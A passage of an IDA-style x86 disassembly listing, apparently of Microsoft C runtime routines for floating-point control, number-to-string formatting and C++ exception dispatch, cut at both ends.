		jnz	short loc_41A7DF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41A875
; ---------------------------------------------------------------------------


loc_41A7DF:				; CODE XREF: sub_41A7BF+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41A84E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41A7F7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41A84E


loc_41A7F7:				; CODE XREF: sub_41A7BF+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_422800
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41A80F
		push	1
		pop	eax
		jmp	short loc_41A811
; ---------------------------------------------------------------------------


loc_41A80F:				; CODE XREF: sub_41A7BF+49j
		xor	eax, eax


loc_41A811:				; CODE XREF: sub_41A7BF+4Ej
					; sub_41A7BF+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41A82A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41A824
		or	dword ptr [ebp+arg_0+4], 1


loc_41A824:				; CODE XREF: sub_41A7BF+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41A811
; ---------------------------------------------------------------------------


loc_41A82A:				; CODE XREF: sub_41A7BF+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41A838
		or	byte ptr [ebp+arg_0+7],	80h


loc_41A838:				; CODE XREF: sub_41A7BF+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41A73C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41A875
; ---------------------------------------------------------------------------


loc_41A84E:				; CODE XREF: sub_41A7BF+28j
					; sub_41A7BF+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41A73C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41A875:				; CODE XREF: sub_41A7BF+1Bj
					; sub_41A7BF+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41A7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A880	proc near		; CODE XREF: sub_41A160+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41A880	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A88E	proc near		; CODE XREF: sub_41A160+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41A88E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A89D	proc near		; CODE XREF: sub_415E4A+13p
					; sub_415E4A+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41A89D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8C0	proc near		; CODE XREF: sub_41A413+1Dp
					; sub_41A413+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41A8D7
		fld	ds:tbyte_4316A8
		fistp	[ebp+arg_0]
		wait


loc_41A8D7:				; CODE XREF: sub_41A8C0+Bj
		test	cl, 8
		jz	short loc_41A8EC
		fstsw	ax
		fld	ds:tbyte_4316A8
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41A8EC:				; CODE XREF: sub_41A8C0+1Aj
		test	cl, 10h
		jz	short loc_41A8FB
		fld	ds:tbyte_4316B4
		fstp	[ebp+var_8]
		wait


loc_41A8FB:				; CODE XREF: sub_41A8C0+2Fj
		test	cl, 4
		jz	short loc_41A909
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41A909:				; CODE XREF: sub_41A8C0+3Ej
		test	cl, 20h
		jz	short locret_41A914
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41A914:				; CODE XREF: sub_41A8C0+4Cj
		leave
		retn
sub_41A8C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A916	proc near		; CODE XREF: sub_415F19+Fp
		push	30000h
		push	10000h
		call	sub_41E2D7
		pop	ecx
		pop	ecx
		retn
sub_41A916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A928	proc near		; CODE XREF: sub_41A966:loc_41A98Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_422810
		fstp	[ebp+var_8]
		fld	ds:dbl_422808
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_422690
		fnstsw	ax
		sahf
		jbe	short loc_41A962
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A962:				; CODE XREF: sub_41A928+33j
		xor	eax, eax
		leave
		retn
sub_41A928	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A966	proc near		; CODE XREF: sub_415F19+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:off_4220E0
		test	eax, eax
		jz	short loc_41A98A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:off_4220BC
		test	eax, eax
		jz	short loc_41A98A
		push	0
		call	eax ; sub_415F19
		retn
; ---------------------------------------------------------------------------


loc_41A98A:				; CODE XREF: sub_41A966+Dj
					; sub_41A966+1Dj
		jmp	sub_41A928
sub_41A966	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A98F	proc near		; CODE XREF: sub_417F58+3CBp
					; DATA XREF: sub_415F31+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_417221
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41A9CF


loc_41A9A3:				; CODE XREF: sub_41A98F+3Ej
		inc	esi
		cmp	ds:dword_42F56C, 1
		jle	short loc_41A9BC
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41A9CB
; ---------------------------------------------------------------------------


loc_41A9BC:				; CODE XREF: sub_41A98F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_42F360
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41A9CB:				; CODE XREF: sub_41A98F+2Bj
		test	eax, eax
		jnz	short loc_41A9A3


loc_41A9CF:				; CODE XREF: sub_41A98F+12j
		mov	cl, ds:byte_42F570
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41A9DA:				; CODE XREF: sub_41A98F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41A9DA
		pop	esi
		retn
sub_41A98F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9E9	proc near		; CODE XREF: sub_417F58+3E2p
					; DATA XREF: sub_415F31+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, ds:byte_42F570
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41AA05


loc_41A9F9:				; CODE XREF: sub_41A9E9+1Aj
		cmp	cl, dl
		jz	short loc_41AA05
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41A9F9


loc_41AA05:				; CODE XREF: sub_41A9E9+Ej
					; sub_41A9E9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41AA36


loc_41AA0C:				; CODE XREF: sub_41A9E9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41AA1F
		cmp	cl, 65h
		jz	short loc_41AA1F
		cmp	cl, 45h
		jz	short loc_41AA1F
		inc	eax
		jmp	short loc_41AA0C
; ---------------------------------------------------------------------------


loc_41AA1F:				; CODE XREF: sub_41A9E9+27j
					; sub_41A9E9+2Cj ...
		mov	ecx, eax


loc_41AA21:				; CODE XREF: sub_41A9E9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41AA21
		cmp	[eax], dl
		jnz	short loc_41AA2C
		dec	eax


loc_41AA2C:				; CODE XREF: sub_41A9E9+40j
					; sub_41A9E9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41AA2C

locret_41AA36:				; CODE XREF: sub_41A9E9+21j
		retn
sub_41A9E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA37	proc near		; DATA XREF: sub_415F31+28o
					; _2:off_4316D0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_422800
		fnstsw	ax
		sahf
		jb	short loc_41AA4C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AA4C:				; CODE XREF: sub_41AA37+Fj
		xor	eax, eax
		retn
sub_41AA37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA4F	proc near		; CODE XREF: sub_41B7F5+430p
					; DATA XREF: sub_415F31+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41AA78
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41E79A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AA78:				; CODE XREF: sub_41AA4F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41E7C7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41AA4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA8D	proc near		; CODE XREF: sub_41AD0A+17p
					; sub_41AD54+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_4C90F4,	0
		push	ebx
		push	esi
		jz	short loc_41AAC2
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_4C90F0
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41ADA5
		pop	ecx
		pop	ecx
		jmp	short loc_41AAFA
; ---------------------------------------------------------------------------


loc_41AAC2:				; CODE XREF: sub_41AA8D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41E86B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41E7F4
		add	esp, 14h


loc_41AAFA:				; CODE XREF: sub_41AA8D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41AB06
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41AB06:				; CODE XREF: sub_41AA8D+73j
		test	ebx, ebx
		jle	short loc_41AB1E
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_42F570
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41AB1E:				; CODE XREF: sub_41AA8D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_4C90F4,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_415B90
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41AB45
		mov	byte ptr [ecx],	45h


loc_41AB45:				; CODE XREF: sub_41AA8D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41AB8A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41AB59
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41AB59:				; CODE XREF: sub_41AA8D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41AB70
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41AB70:				; CODE XREF: sub_41AA8D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41AB87
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41AB87:				; CODE XREF: sub_41AA8D+E7j
		add	[ecx+1], bl


loc_41AB8A:				; CODE XREF: sub_41AA8D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41AA8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB91	proc near		; CODE XREF: sub_41AD31+13p
					; sub_41AD54+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_4C90F4,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41ABCC
		mov	eax, ds:dword_4C90F8
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_4C90F0
		cmp	eax, ebx
		jnz	short loc_41ABFC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41ABFC
; ---------------------------------------------------------------------------


loc_41ABCC:				; CODE XREF: sub_41AB91+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41E86B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41E7F4
		add	esp, 14h


loc_41ABFC:				; CODE XREF: sub_41AB91+22j
					; sub_41AB91+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41AC0A
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41AC0A:				; CODE XREF: sub_41AB91+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41AC21
		push	1
		push	edi
		call	sub_41ADA5
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41AC23
; ---------------------------------------------------------------------------


loc_41AC21:				; CODE XREF: sub_41AB91+7Ej
		add	edi, eax


loc_41AC23:				; CODE XREF: sub_41AB91+8Ej
		test	ebx, ebx
		jle	short loc_41AC68
		push	1
		push	edi
		call	sub_41ADA5
		mov	al, ds:byte_42F570
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41AC68
		cmp	ds:byte_4C90F4,	0
		jz	short loc_41AC4D
		neg	esi
		jmp	short loc_41AC53
; ---------------------------------------------------------------------------


loc_41AC4D:				; CODE XREF: sub_41AB91+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41AC55


loc_41AC53:				; CODE XREF: sub_41AB91+BAj
		mov	ebx, esi


loc_41AC55:				; CODE XREF: sub_41AB91+C0j
		push	ebx
		push	edi
		call	sub_41ADA5
		push	ebx
		push	30h
		push	edi
		call	sub_415500
		add	esp, 14h


loc_41AC68:				; CODE XREF: sub_41AB91+94j
					; sub_41AB91+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AB91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC6F	proc near		; CODE XREF: sub_41AD54+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41E86B
		mov	ds:dword_4C90F0, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_4C90F8, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41E7F4
		mov	eax, ds:dword_4C90F0
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_4C90F8, ecx
		setl	cl
		mov	ds:byte_4C90FC,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_4C90F8, eax
		jl	short loc_41ACF5
		cmp	eax, ebx
		jge	short loc_41ACF5
		test	cl, cl
		jz	short loc_41ACE6


loc_41ACDC:				; CODE XREF: sub_41AC6F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41ACDC
		and	[esi-2], al


loc_41ACE6:				; CODE XREF: sub_41AC6F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41AD31
		add	esp, 0Ch
		jmp	short loc_41AD05
; ---------------------------------------------------------------------------


loc_41ACF5:				; CODE XREF: sub_41AC6F+63j
					; sub_41AC6F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41AD0A
		add	esp, 10h


loc_41AD05:				; CODE XREF: sub_41AC6F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41AC6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD0A	proc near		; CODE XREF: sub_41AC6F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_4C90F4,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41AA8D
		and	ds:byte_4C90F4,	0
		add	esp, 10h
		retn
sub_41AD0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD31	proc near		; CODE XREF: sub_41AC6F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_4C90F4,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41AB91
		and	ds:byte_4C90F4,	0
		add	esp, 0Ch
		retn
sub_41AD31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD54	proc near		; CODE XREF: sub_417F58+3AAp
					; DATA XREF: sub_415F31o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41AD8F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41AD8F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41AD7C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AB91
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41AD7C:				; CODE XREF: sub_41AD54+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AC6F
		jmp	short loc_41ADA0
; ---------------------------------------------------------------------------


loc_41AD8F:				; CODE XREF: sub_41AD54+7j
					; sub_41AD54+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AA8D


loc_41ADA0:				; CODE XREF: sub_41AD54+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41AD54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADA5	proc near		; CODE XREF: sub_41AA8D+2Cp
					; sub_41AB91+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41ADC8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_415C80
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_416470
		add	esp, 10h
		pop	esi


loc_41ADC8:				; CODE XREF: sub_41ADA5+7j
		pop	edi
		retn
sub_41ADA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADCA	proc near		; CODE XREF: _0:00416114p
					; sub_41617D+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41ADE0
		call	sub_41B672


loc_41ADE0:				; CODE XREF: sub_41ADCA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41AE08
		cmp	dword ptr [esi+4], 0
		jz	short loc_41AE5E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41AE5E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41B111
		add	esp, 10h
		jmp	short loc_41AE5E
; ---------------------------------------------------------------------------


loc_41AE08:				; CODE XREF: sub_41ADCA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41AE5E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41AE42
		cmp	[eax+14h], edi
		jbe	short loc_41AE42
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41AE42
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41AE61
; ---------------------------------------------------------------------------


loc_41AE42:				; CODE XREF: sub_41ADCA+4Aj
					; sub_41ADCA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AE65
		add	esp, 20h


loc_41AE5E:				; CODE XREF: sub_41ADCA+23j
					; sub_41ADCA+29j ...
		push	1
		pop	eax


loc_41AE61:				; CODE XREF: sub_41ADCA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41ADCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE65	proc near		; CODE XREF: sub_41ADCA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41AE85
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41AE8A


loc_41AE85:				; CODE XREF: sub_41AE65+16j
		call	sub_41B672


loc_41AE8A:				; CODE XREF: sub_41AE65+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41AFE1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41AEFE
		cmp	[esi+14h], edi
		jnz	short loc_41AEFE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41AEFE
		mov	esi, ds:dword_4C9100
		test	esi, esi
		jz	loc_41AFDC
		mov	eax, ds:dword_4C9104
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41E9F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41AEE0
		call	sub_41B672


loc_41AEE0:				; CODE XREF: sub_41AE65+74j
		cmp	[esi], ebx
		jnz	loc_41AFE1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41AEFE
		cmp	[esi+14h], edi
		jnz	short loc_41AEFE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41AEFE
		call	sub_41B672


loc_41AEFE:				; CODE XREF: sub_41AE65+41j
					; sub_41AE65+46j ...
		cmp	[esi], ebx
		jnz	loc_41AFE1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41AFE1
		cmp	[esi+14h], edi
		jnz	loc_41AFE1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162CB
		add	esp, 14h
		mov	ebx, eax


loc_41AF35:				; CODE XREF: sub_41AE65+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41AFCC
		cmp	[ebx], edi
		jg	short loc_41AFC1
		cmp	edi, [ebx+4]
		jg	short loc_41AFC1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41AFBE


loc_41AF5A:				; CODE XREF: sub_41AE65+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41AF8B


loc_41AF6C:				; CODE XREF: sub_41AE65+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41B0B4
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AF9A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41AF6C


loc_41AF8B:				; CODE XREF: sub_41AE65+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41AF5A
		jmp	short loc_41AFBE
; ---------------------------------------------------------------------------


loc_41AF9A:				; CODE XREF: sub_41AE65+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41B1C5
		add	esp, 2Ch


loc_41AFBE:				; CODE XREF: sub_41AE65+F3j
					; sub_41AE65+133j
		mov	edi, [ebp+var_10]


loc_41AFC1:				; CODE XREF: sub_41AE65+DEj
					; sub_41AE65+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41AF35
; ---------------------------------------------------------------------------


